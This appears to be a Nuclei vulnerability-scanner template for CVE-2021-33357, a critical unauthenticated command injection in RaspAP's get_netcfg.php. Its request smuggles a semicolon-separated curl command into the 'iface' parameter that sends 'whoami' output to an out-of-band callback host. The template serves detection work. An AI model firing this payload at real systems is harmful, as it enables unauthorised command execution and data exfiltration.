id: CVE-2021-33357

info:
  name: RaspAP <= 2.6.5 - Remote Code Execution
  author: pikpikcu,pdteam
  severity: critical
  description: |
    RaspAP 2.6 to 2.6.5 in the "iface" GET parameter in /ajax/networking/get_netcfg.php, when the "iface" parameter value contains special characters such as ";" which enables an unauthenticated attacker to execute arbitrary OS commands.
  tags: cve,cve2021,rce,raspap,oast
  reference:
    - https://checkmarx.com/blog/chained-raspap-vulnerabilities-grant-root-level-access/
    - https://gist.github.com/omriinbar/52c000c02a6992c6ce68d531195f69cf
    - https://nvd.nist.gov/vuln/detail/CVE-2021-33357
    - https://github.com/RaspAP/raspap-webgui
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2021-33357
    cwe-id: CWE-78

requests:
  - method: GET
    path:
      - "{{BaseURL}}/ajax/networking/get_netcfg.php?iface=;curl%20http://{{interactsh-url}}/`whoami`;"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        words:
          - "DHCPEnabled"

    extractors:
      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - 'GET \/([a-z-]+) HTTP'